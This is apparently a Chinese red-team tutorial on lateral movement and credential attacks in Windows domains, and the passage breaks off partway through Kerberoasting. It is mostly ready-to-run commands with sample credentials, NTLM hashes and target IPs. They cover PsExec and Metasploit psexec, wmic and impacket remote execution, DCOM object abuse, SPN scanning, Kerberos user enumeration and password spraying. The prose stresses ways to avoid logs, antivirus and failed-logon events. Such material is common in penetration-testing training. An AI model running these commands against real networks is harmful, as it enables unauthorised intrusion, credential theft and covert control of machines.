#该命令会启动WinRM服务,创建允许入站的防火墙规则。
#powershell可以使用WMI、RPC和WS-Management在内等各种协议进行远程管理
Enable-PSRemoting -Force
#在列举一些涉及到的命令
#配置当前服务器允许被任意主机连接/允许连接任意主机(和的winrm一样,上面也说到远程执行PowerShell命令技术是基于WinRM服务实现)
Set-Item wsman:\localhost\client\trustedhosts *
#重启WinRm服务
Restart-Service WinRM
#测试目标计算机WinRM是否运行,Test-WsMan后跟hostname或者是IP地址
Test-WsMan OWA2010SP3
#建立与远程计算机的交互式会话,但是注意,它会在弹出对话框要求输入密码,密码正确后才会建立会话(返回远程计算机的Powersehll),这里可以类比ssh连接理解
Enter-PSSession -ComputerName OWA2010SP3 -Credential Administrator
#也可以这样指定,会在弹出对话框要求输入用户名和密码
Enter-PSSession -ComputerName Server01 -Credential (Get-Credential)
#此外还可以这样指定,因为-Credential参数也可以指定一个凭据对象,Get-Credential用于创建一个凭据对象存入$cred变量中
$cred = Get-Credential -UserName "Administrator" -Message "Enter the password for Administrator"
Enter-PSSession -ComputerName OWA2010SP3 -Credential $cred
#Enter-PSSession的参数,如下
-ComputerName:指定远程计算机的名称或IP地址
-Credential:指定用于连接到远程计算机的用户名/凭据对象
-Port:指定要使用的端口号
-UseSSL:使用SSL加密连接
这里放三张Enter-PSSession建立连接“弹出对话框”的图,如下
命令执行后会弹出一个输入框,让你输入你的用户名密码。如果是在域环境下需要按照 domain\username的形式来输入用户名。如果使用-ComputerName参数指定用户名之后会让你输入这个用户的密码
如果使用-ComputerName指定的是凭据对象,会在Get-Credential的时候就要求输入密码,如下
这里解释一下Get-Credential命令,如下
凭据对象即PSCredential, 是PowerShell 中的一个对象类型,具体介绍如下
这里也说到,Enter-PSSession、Invoke-Command 等命令的 -Credential 参数实质上指定的就是凭据对象,上面说的指定用户名只是为了方便理解,本质上是创建了一个用户名为指定用户名的凭据对象,而凭据对象的密码为了安全不会在终端中输入,而是以弹出对话框的形式进行输入。这里在对比一下Invoke-Command和Enter-PSSession,如下
PsExec的使用
PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。
PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行
通过PsExec可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXESVC”的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。
建立 ipc$ 连接
net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
或者
net use \\192.168.7.7 /u:teamssix.com\administrator "1qaz@WSX"
在已经建立 ipc$ 的情况下,执行以下命令就可以获得 system 权限
PsExec.exe -accepteula \\192.168.7.7 -s cmd.exe
如果没有建立 ipc$ 连接,也可以直接使用 PsExec 指定用户名密码进行连接
PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe
# -u 域\用户名
# -p 密码
或者执行以下命令直接回显命令结果
PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe /c "ipconfig"
在使用PsExec时,需要注意以下几点:
- 需要远程系统开启 admin$ 共享(默认是开启的)
- 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
- 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
- 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
- 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell(即在 administrator 权限的 shell中执行PsExec)
- 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
MSF 中也有PsExec的利用模块,分别是exploit/windows/smb/psexec
和exploit/windows/smb/psexec_psh
exploit/windows/smb/psexec_psh 模块生成的 payload 主要是由 PowerShell 编写的,免杀效果比exploit/windows/smb/psexec 模块要好。两个模块的使用方法相同,下面以exploit/windows/smb/psexec举例
use exploit/windows/smb/psexec
set rhost 192.168.7.7
set smbuser administrator
set smbpass 1qaz@WSX
run
WMI
WMI的全称为“Windows Management Instrumentation“。从Windows 98开始,Windows系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为在这个过程中不会产生日志,所以对网络管理员来说增加了攻击溯源成本。同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些
wmic 命令
WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > c:\ip.txt"
使用WMIC连接远程主机,需要目标主机开放135和445端口(135端口是WMIC默认的管理端口,wimcexec使用445端口传回显)
之后建立 IPC$ ,使用 type 读取执行结果
net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
type \\192.168.7.7\C$\ip.txt
也可以预先建立 ipc$ 连接,再使用 wmic
net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
wmic /node:192.168.7.7 process call create "cmd.exe /c ipconfig >c:\ip.txt"
type \\192.168.7.7\C$\ip.txt
注意事项:
- wmic没有回显,需要使用ipc$配合type命令来读取信息
impacket工具包中的wmiexec.py脚本
在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell
python3 wmiexec.py administrator:1qaz@WSX@192.168.7.7
该方法主要在从Linux向Windows进行横向渗透测试时使用
wmiexec.py 还支持通过哈希传递获得 shell
python3 wmiexec.py -hashes LMHash:NTHash 域名/用户名@目标IP
wmiexec.vbs
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wniexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式Shell
wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.7.7 administrator 1qaz@WSX
使用 vmiexec.vbs 执行单条命令
cscript wmiexec.vbs /cmd 192.168.7.7 administrator 1qaz@WSX "ipconfig"
因为这只是个半交互式的 Shell,因此对于运行时间比较长的命令,比如 ping、systeminfo 等,需要加上 -wait 5000 或更长的时间。
在运行 nc 等不需要输出结果但需要一直运行的进程时,可以使用 -persist 参数,当命令加了 -persist 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,这样就可以运行 nc 或者木马程序了。
不过目前 wmiexec.vbs 已经被卡巴斯基、赛门铁克、ZoneAlarm等杀软列入查杀名单了。
Invoke-WmiCommand
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令
在 Powershell 中运行以下命令
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = "teamssix.com\administrator"
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.7.7
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。Invoke-WMIMethod 会以非交互式的方式执行命令,即不会回显执行结果。
# 指定目标系统用户名
$User="teamssix.com\administrator"
# 指定目标系统密码
$Password=ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.7.7" -Credential $Cred
可以看到在 192.168.7.7 主机中已经有进程 ID 为 3276 的 calc.exe 被执行了
wmic 的其他命令
使用 wmic 远程开启目标的 RDP
# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX RDTOGGLE WHERE ServerName='dc' call SetAllowTSConnections 1
或者
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
使用 wmic 远程重启目标计算机
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "shutdown.exe -r -f -t 0"
SMBExec的使用
smbexe可以通过文件共享(admin$、c$、ipc$、d$)在远程系统中执行命令
所以,使用SMBExec时,目标系统的共享服务必须是开放的(如admin$、c$、ipc$、d$)
C++ 版smbexec
下载地址:https://github.com/sunorr/smbexec
很老的工具了,而且已经被市面上的杀软标记,没有什么学习价值,此处仅作为记录。
impacket工具包中的smbexec.py脚本
python3 smbexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7
#如果用户密码中有@符号(如此处的密码为1qaz@WSX),可能导致命令提前闭合截断,可以使用反斜杠进行转义,如下
python3 smbexec.py teamssix.com/administrator:1qaz@WSX\@192.168.7.7
smbexec工具包
使用smbexec工具包,可以实现Linux 跨平台 Windows 远程命令执行
下载地址:https://github.com/brav0hax/smbexec
此处演示安装,以kali为例
git clone https://github.com/brav0hax/smbexec.git
#git clone https://gitclone.com/github.com/brav0hax/smbexec.git
cd smbexec/
chmod +x install.sh
sudo ./install.sh
安装时需要选择操作系统,根据自己情况选择就行,如果是 Kali 就选择 Debain,然后选择安装目录,直接回车默认 /opt 目录即可
安装完后,在终端里输入 smbexec 就会显示 smbexec 的主菜单,分别如下:
1. System Enumeration // 获取系统信息
2. System Exploitation // 执行系统命令
3. Obtain Hashes // 获取系统哈希
4. Options // 一些其他操作
5. Exit // 退出
选择菜单 1 System Enumeration 有以下选项:
1. Create a host list // 扫描目标 IP 段中存活的主机
2. Check systems for Domain Admin // 获取目标系统中的管理员
3. Check systems for logged in users // 获取当前登录目标系统的用户
4. Check systems for UAC // 获取目标系统 UAC 的状态
5. Enumerate Shares // 获取目标系统中的网络共享目录
6. File Finder // 搜索目标系统中的敏感文件
7. Remote login validation // 获取目标系统中远程登录的用户
8. Main menu // 返回主菜单
选择菜单 2 System Exploitation 有以下选项:
1. Create an executable and rc script // 生成一个 meterpreter Payload 并在目标系统中运行它
2. Disable UAC // 关闭远程主机的 UAC
3. Enable UAC // 开启远程主机的 UAC
4. Execute Powershell // 执行一个 PowerShell 脚本
5. Get Shell // 使用基于 PsExec 的方式获得目标系统的 Shell
6. In Memory Meterpreter via Powershell // 通过 PowerShell 在内存中插入 Meterpreter Payload
7. Remote system access // 远程访问系统
8. Main menu // 返回主菜单
选择菜单 3 Obtain Hashes 有以下选项:
1. Domain Controller // 获取域控哈希
2. Workstation & Server Hashes // 获取本地哈希
3. Main menu // 返回主菜单
选择菜单 4 Options 有以下选项:
1. Save State // 保存当前状态
2. Load State // 加载以前保存的状态
3. Set Thread Count // 设置线程数
4. Generate SSL Cert // 生成 SSL 证书
5. Enter Stealth Mode // 进入安静模式
6. About // 关于
7. Main menu // 返回主菜单
获取目标系统 UAC 的状态
获取目标系统中的网络共享目录
获取本地哈希
详细演示:
- 主菜单项1——用于列举系统中的重要信息System Enumeration
选项1用于扫描目标网络IP地址段中存活的主机。
Choice : 1
Enter target network range [172.27.7.0/24] : 10.1.1.0/24 #直接回车就是[]里的,括号没有或者在后面10.1.1.0/24像这样格式输入指定地址段扫描
选项2用于列举目标系统中的管理员用户。需要输入IP地址、用户名、密码、域四项。IP地址可以直接调用由选项1扫描出来的IP,用户名、密码、域需要手动添加,程序会记录最近输入的用户名密码等以便下次使用
选项3用于列举当前登录目标系统的用户,用户名、密码、域三项会自动加载最近输入的内容。
选项4用于列举目标系统UAC的状态。在本实验中,目标网络中的IP地址10.1.1.23所对应的机器的UAC的状态都是Enabled (启用)
选项5用于对目标系统中的网络共享目录进行列举。在本实验中,列出了IP地址所对应的机器的共享目录
选项6用于在目标系统中搜索敏感文件,例如配置文件、密码信息、缓存文件等
选项7用于列举远程登录目标主机的用户。
选项8用于直接返回主菜单。会展现前面七步的结果
- 主菜单项2——用于在目标系统中执行命令、获取权限等。
选项1用于生成一个meterpreter Pyload,并在目标系统中直接运行它。在渗透测试中,也可以使用Masploit、 Empire、CobaltStike建立一个监听并获得一个shell
选项2用于直接关闭远程主机的UAC。网络管理员可以通过攻击者关闭UAC的操作发现系统正在遭受攻击。
选项3的功能是在执行选项2关闭目标系统的UAC后,重新打开目标系统的UAC,使目标系统复原
选项4用于执行一个PowerShell脚本。
选项5使用基于PsExec的方式获得目标系统的一个System权限的Shell
除此之外,smbexec还有一个windows版本,下载链接:https://github.com/0x7556/smbexec
DCOM在远程系统中的使用
DCOM基本介绍
COM 即组件对象模型 (Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。
COM 是许多微软产品和技术如 Windows 媒体播放器和 Windows Server 的基础。
DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,DCOM是COM(组件对象模型)的扩展。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上,利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。
攻击者可使用 DCOM 进行横向移动,通过 DCOM 攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。
使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件。例如我们滥用 ShellBrowserWindow COM 对象,那么就会在远程主机的现有 explorer.exe 进程(资源管理器)中执行。
对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向 DCOM 公开方法,因此防御者较难以监测所有程序。
在本地通过 DCOM 执行命令
获取 DCOM 程序列表
Get-CimInstance 是 PowerShell 3.0 以上的版本自带的,因此只有 Windows Server 2012 及以上的操作系统才会自带 Get-CimInstance 命令
Get-CimInstance Win32_DCOMApplication
因为Windows 7、Windows Server 2008中默认安装的是Powershell 2.0,所以它们都不支持Get-Cimlnstance,可以使用 Get-WmiObject 替代 Get-CimInstance
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
使用 DCOM 执行任意命令
在 DCOM 程序列表中有个 MMC Application Class(MMC20.Application),这个 COM 对象可以编程 MMC 管理单元操作的组件脚本
在本地以管理员权限启动一个 PowerShell,并执行以下命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
获得COM对象的实例后,还可以执行如下命令枚举这个 COM 对象中的不同方法和属性
$com.Document.ActiveView | Get-Member
在 MMC20.Application 中有个 ExecuteShellCommand 方法,我们可以拿它来执行命令,比如启动个计算器
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
除了 MMC20.Application 还有 ShellWindows、ShellBrowserWindow、Excel.Application 以及 Outlook.Application 等等可以被我们利用
使用 DCOM 在远程主机上执行命令
在使用该方法时,需要具备以下条件:
- 具有本地管理员权限的 PowerShell
- 需要关闭目标系统的防火墙。
- 在远程主机上执行命令时,必须使用域管的 administrator 账户或者在目标主机上具有管理员权限的账户
下面演示如何使用 DCOM 在远程主机上执行命令:
注意,要先建立ipc$连接远程主机
net use \\10.1.1.34 /u:administrator "123456"
- 调用 MMC20.Application 远程执行命令
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
或者
[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
- 调用 ShellWindows 远程执行命令
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
或者
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
#注意,这种方式不需要对方主机的凭据,只需要当前主机的管理员权限即可
以上这两种方法均适用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016 的系统。
- 调用 Excel.Application 远程执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.7.7"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe","/c calc.exe")
- 调用 ShellBrowserWindow 远程执行命令
适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.7.7"))
$com.Document.Application.shellExecute("calc.exe")
或者
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.3.144")).Document.Application.shellExecute("calc.exe")
- 调用 Visio.Application 远程执行命令
前提是目标安装了 Visio
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7"))
$com.[0].Document.Application.shellExecute("calc.exe")
或者
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7")).[0].Document.Application.shellExecute("calc.exe")
- 调用 Outlook.Application 远程执行命令
前提是目标安装了 Outlook
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7"))
$com.createObject("Shell.Application").shellExecute("192.168.7.7")
或者
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7")).createObject("Shell.Application").shellExecute("calc.exe")
- Impacket 工具包中的 dcomexec.py 脚本
Impacket 工具包里也提供了 DCOM 的利用脚本,该脚本可以提供一个类似于 wmiexec.py 脚本的半交互式 shell,不过使用的是 DCOM。
dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象
python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7
或者只执行一条命令
python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 ipconfig
如果只知道 hash 也可以用 hash 去连接
python3 dcomexec.py teamssix.com/administrator@192.168.7.7 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
SPN在域环境中的利用
SPN基本介绍
Windows 域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组和集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。
在域环境中运行的大量应用包含了多种资源,为了对资源的合理分类和再分配提供便利,微软给域内的每种资源分配了不同的服务主体名称即 SPN (Service Principal Name)
Kerberos基本介绍
Kerberos 原意是希腊神话中看守冥界入口的恶犬刻耳柏洛斯,个人猜测作者采用这个名字也正是为了体现出该协议里身份认证的特性,即通过 Kerberos 协议守护网络通信中的安全
Kerberos 是由 MIT(麻省理工学院) 提出的一种网络身份验证协议,旨在通过密钥加密技术为客户端/服务器应用程序提供强身份验证,它也是主要用在域环境下的身份认证协议。
在 Kerberos 认证中,最主要的问题就是如何证明「你是你」的问题,比如当一个用户去访问服务器上的某服务时,服务器如何判断该用户是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不会影响通讯的安全性,这正是 Kerberos 解决的问题。
Kerberos 协议中的名称解释:
- Client: 访问服务的客户端
- Server: 提供服务的服务器
- KDC (Key Distribution Center): 密钥分发中心
- AS (Authentication Service): 认证服务器
- TGS (Ticket Granting Service): 票据授予服务
- DC (Domain Controller): 域控制器
- AD (Account Database): 用户数据库
- TGT (Ticket Granting Ticket): 票据授予票据
- ST (Servre Ticket): 服务票据
根据上图,下面一步一步进行解释:
-
第一阶段:Clinet 与 AS
-
第二阶段:Clinet 与 TGS
-
第三阶段:Clinet 与 Server
注意点:
- KDC 服务默认会安装在一个域的域控中
- Kerberos 认证采用对称加密算法
- 三个阶段里都使用了密钥,这些密钥都是临时生成的,也只在一次会话中生效,因此即使密钥被劫持,等到密钥被破解可能这次会话也都早已结束。
- AD 其实是一个类似于本机 SAM 的一个数据库,全称叫 Account Database,存储所有 Client 白名单,只有存在于白名单的 Client 才能顺利申请到 TGT
- KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为它就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。
SPN相关概念
在使用 Kerberos 协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册 SPN。
对于内置账号,SPN 将自动进行注册,如果在域用户账号下运行服务,则必须为要使用的账号手动注册 SPN。
因为域环境中的每台服务器都需要在 Kerberos 身份验证服务中注册 SPN ,所以 RedTeam 会直接向域控制器发送查询请求,获取需要的服务的 SPN ,从而知道自己需要使用的服务资源在哪台机器上。
SPN 格式如下:
serviceclass "/" hostname [":"port] ["/" servicename]
serviceclass(必选):服务组件名称
hostname(必选):以 “/” 与后面的名称分隔,这里的 hostname 是计算机的 FQDN (完全限定域名,即同时带有计算机名和域名)
port(可选):以冒号分隔,后面的内容为该服务监听的端口号
servicename(可选):一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或完全限定域名
常见 SPN 服务
MSSQL 服务
MSSQLSvc/computer1.labtest.com:1433
- MSSOLSvc:服务组件的名称,此处为 MSSQL 服务。
- computer1.labtest.com:主机名为computer1,域名为labtest.com。
- 1433:监听的端口为1433。
Exchange 服务
exchangeMDB/ExServer.teamssix.com
RDP 服务
TERMSRV/ExServer.teamssix.com
WSMan/WinRM/PSRemoting 服务
WSMAN/ExServer.teamssix.com
SPN 扫描
当计算机加入域时,主SPN会自动添加到添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录到计算机账号的相应属性中。
SPN 扫描也叫「扫描 Kerberos 服务实例名称」,在活动目录中发现服务的最佳方法就是 SPN 扫描。
SPN 扫描通过请求特定 SPN 类型的服务主体名称来查找服务,与网络端口相比,SPN 扫描的主要特点是不需要通过连接网络中的每个 IP 地址来检查服务端口,因此不会因触发内网中的安全设备规则而产生大量的告警日志。
由于 SPN 查询是 Kerberos 票据行为的一部分,所以检测难度较大。
setspn命令
setspn 是 Windows 自带命令,以下命令可列出域中所有的 SPN 信息
setspn -T teamssix -Q */*
#setspn -T domain -q */*
Active Directory 模块
PowerShell 模块 Active Directory 只在域控上有
Import-Module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
一个师傅将这个模块导了出来,这样普通主机也可以使用该模块,下载地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
Import-Module .\Microsoft.ActiveDirectory.Management.dll
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
PowerView脚本
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last
Powershell-AD-Recon
Powershell-AD-Recon 提供了一系列获取服务与服务登录账号和运行服务的主机之间的对应关系的工具,这些服务包括但不限于 MSSQL、Exchange、RDP、WinRM
Powershell-AD-Recon 下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon
这里注意一下,下载后的文件是没有 .ps1 后缀的,需要自己添加上
Powershell-AD-Recon 工具包里的内容如下:
Discover-PSInterestingServices # 查找所有 SPN 服务
Discover-PSMSExchangeServers # 查找 Exchange 服务器
Discover-PSMSSQLServers # 查找 MSSQL 服务器
Find-PSServiceAccounts # 查找服务账户
Get-DomainKerberosPolicy # 获取域 Kerberos 策略
Get-PSADForestInfo # 获取域森林信息
Get-PSADForestqInfo # 获取域森林 KRBTGT 信息
由于 SPN 是通过 LDAP 协议向域控制器进行查询的,因此RedTeam需要获得一个普通的域用户权限才可以进行 SPN 扫描。
将 PowerShell 脚本导入并执行,以 MSSQL 服务为例
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
或者
PowerShell -Exec bypass -C "Import-Module .\Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers"
扫描域中所有的 SPN 信息
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
或者
PowerShell -Exec bypass -C "Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices"
kerberoast
kerberoast 工具包里的 GetUserSPNs.ps1,可以帮助我们发现仅与用户帐户相关联的服务。
kerberoast 下载地址:https://github.com/nidem/kerberoast
./GetUserSPNs.ps1
或者
PowerShell -Exec bypass -File GetUserSPNs.ps1
kerberoast 工具包里的 GetUserSPNs.vbs 也能实现相同的功能
cscript.exe GetUserSPNs.vbs
PowerShellery
PowerShellery 工具包里包含了 Get-SPN,可以为各种服务收集 SPN
PowerShellery 下载地址:https://github.com/nullbind/Powershellery
Import-Module .\Get-SPN.psm1
Get-SPN -type service -search *
或者
PowerShell -Exec bypass -C "Import-Module .\Get-SPN.psm1;Get-SPN -type service -search *"
结果也可以转换为表格的形式,以便于浏览
Import-Module .\Get-SPN.psm1
Get-SPN -type service -search * -List yes
或者
PowerShell -Exec bypass -C "Import-Module .\Get-SPN.psm1;Get-SPN -type service -search * -List yes"
另外一个 Get-DomainSpn.psm1 脚本可以用来获取 UserSID、服务和实际用户
Import-Module .\Get-DomainSpn.psm1
Get-DomainSpn
或者
PowerShell -Exec bypass -C "Import-Module .\Get-DomainSpn.psm1;Get-DomainSpn"
Impacket
Impacket 下载地址:https://github.com/SecureAuthCorp/impacket
上面的工具都是在域内的机器里扫描 SPN 的,利用 impacket 工具包下的 GetUserSPNs.py 可以在非域主机中扫描目标的 SPN
python3 GetUserSPNs.py -dc-ip 192.168.7.7 teamssix.com/test
Kerberos 协议的利用
用户名枚举
当用户名输入正确或错误时,Kerberos 协议所返回的状态码是不同的,利用这一特性可以进行用户名枚举,这里使用 Kerbrute 工具进行演示。
Kerbrute下载地址:https://github.com/ropnop/kerbrute
kerbrute userenum --dc 192.168.7.7 -d teamssix.com users.txt
密码喷洒
密码喷洒和用户名枚举原理一样,而且使用 Kerberos 协议对 Windows 密码进行暴力破解比其他方法要快得多,并且更加隐蔽,因为 Kerberos 身份验证即使失败也不会触发 4625 登录失败事件。
这里同样使用 Kerbrute 工具进行演示:
kerbrute passwordspray --dc 192.168.7.7 -d teamssix.com users.txt 1qaz@WSX
kerberoast
kerberoast 是一种针对 Kerberos 协议的利用方式,在因为需要使用某个特定资源而向 TGS 发送 Kerberos 服务票据的请求时,用户首先需要使用具有有效身份权限的 TGT 向 TGS 请求相应服务的票据。
当 TGT 被验证有效且具有该服务的权限时,TGS 会向用户发送一张票据。该票据使用与 SPN 相关联的计算机服务账号的 NTLM Hash(RC4_HMAC_MD5),就是说,RedTeam 会通过 Kerberoast 尝试使用不同的 NTLM Hash 来打开该 Kerberos 票据,如果 RedTeam 使用的 NTLM Hash 是正确的,Kerberos 票据就会被打开,而该 NTLM Hash 对应于该计算机服务账号的密码。
在域环境中,攻击者会通过Kerberast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。因为在使用该方法时,大多数操作都是离线完成的,不会向目标系统发送任何信息,所以不会引起安全设备的报警。又因为大多数网络的域环境策略不够严格(如:没有给计算机服务账号设置密码过期时间;计算机服务账户的权限过高;计算机服务账号的密码与普通域用户账号密码相同),所以计算机服务账户的密码很容易受到Kerberoast攻击的影响。
kerberoast 的利用思路:
-
查询 SPN 寻找在 Users 下并且是高权限域用户的服务
-
请求并导出 TGS
-
对 TGS 进行爆破
这里以 MSSQL 服务为例,并尝试破解该服务的票据
手动注册 SPN
setspn -A MSSQLSvc/DBSRV.teamssix.com:1433 test
查看用户所对应的 SPN
setspn -L teamssix.com\test
#如果要查看所有注册的SPN,则使用一下命令
setspn -T domain -q */*
#也可以使用 Kerberoast 工具包中的 GetUserSPNs.ps1脚本 查询SPN
./GetUserSPNs.ps1
#PowerShell -Exec bypass -File GetUserSPNs.ps1
还可以使用 adsiedit.msc 查看用户 SPN 及其他高级属性
为用户配置指定服务的登录权限,gpedit.msc 打开本地组策略编辑器,找到以下路径
\计算机配置\Windows 设置\安全设置\本地策略\用户权限分配\作为服务登录
因为 Kerberos 协议的默认加密方式是 AES256_HMAC,而通过 tgsreperack.py 脚本无法破解该加密方式,因此我们可以通过组策略将加密方式设置为 RC_HMAC_MD5
在本地组策略编辑器中,找到以下路径,将加密方式设置为 RC4_HMAC_MD5
